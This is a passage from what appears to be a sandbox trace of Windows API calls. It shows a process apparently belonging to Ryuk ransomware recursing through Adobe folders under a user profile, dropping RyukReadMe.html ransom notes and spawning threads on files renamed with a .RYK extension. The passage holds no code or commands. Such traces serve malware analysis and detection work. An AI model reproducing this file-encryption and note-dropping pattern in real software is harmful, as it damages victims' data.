	[0247.093] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.093] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0247.093] SetLastError (dwErrCode=0x0) 
	[0247.093] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0247.093] GetLastError () returned 0xb7
	[0247.093] CloseHandle (hObject=0x4d4) returned 1
	[0247.093] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0247.093] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.094] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0247.094] SetLastError (dwErrCode=0x0) 
	[0247.094] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470
	[0247.094] GetLastError () returned 0xb7
	[0247.094] CloseHandle (hObject=0x470) returned 1
	[0247.094] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0247.094] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.094] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74933560, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0247.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0247.096] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.097] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74802a60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0247.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0247.099] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.099] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0247.099] SetLastError (dwErrCode=0x0) 
	[0247.099] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490
	[0247.099] GetLastError () returned 0xb7
	[0247.099] CloseHandle (hObject=0x490) returned 1
	[0247.100] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ac, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0247.100] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x74c53240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74c53240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.100] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x74a17da0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0247.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.100] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0247.101] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.102] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0247.102] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ac, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0247.102] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0247.102] SetLastError (dwErrCode=0x0) 
	[0247.102] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490
	[0247.102] GetLastError () returned 0xb7
	[0247.102] CloseHandle (hObject=0x490) returned 1
	[0247.103] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0247.103] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0247.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0247.104] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.104] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0247.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.105] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0247.106] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.106] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x1a2, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0247.106] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0247.106] SetLastError (dwErrCode=0x0) 
	[0247.106] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470
	[0247.107] GetLastError () returned 0xb7
	[0247.107] CloseHandle (hObject=0x470) returned 1
	[0247.107] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0247.107] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x192, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0247.107] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0247.107] SetLastError (dwErrCode=0x0) 
	[0247.107] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0247.107] GetLastError () returned 0xb7
	[0247.107] CloseHandle (hObject=0x4d4) returned 1
	[0247.108] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0247.108] SetLastError (dwErrCode=0x0) 
	[0247.108] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0247.108] GetLastError () returned 0xb7
	[0247.108] CloseHandle (hObject=0x4d4) returned 1
	[0247.108] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0247.108] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.108] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x192, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0247.108] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0247.109] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0247.110] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0247.110] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x192, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0247.110] SetLastError (dwErrCode=0x0) 
	[0247.110] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x484
	[0247.110] GetLastError () returned 0xb7
	[0247.111] CloseHandle (hObject=0x484) returned 1
	[0247.111] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0247.111] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x19e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.111] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x19e, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0247.111] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x19e, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0247.111] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
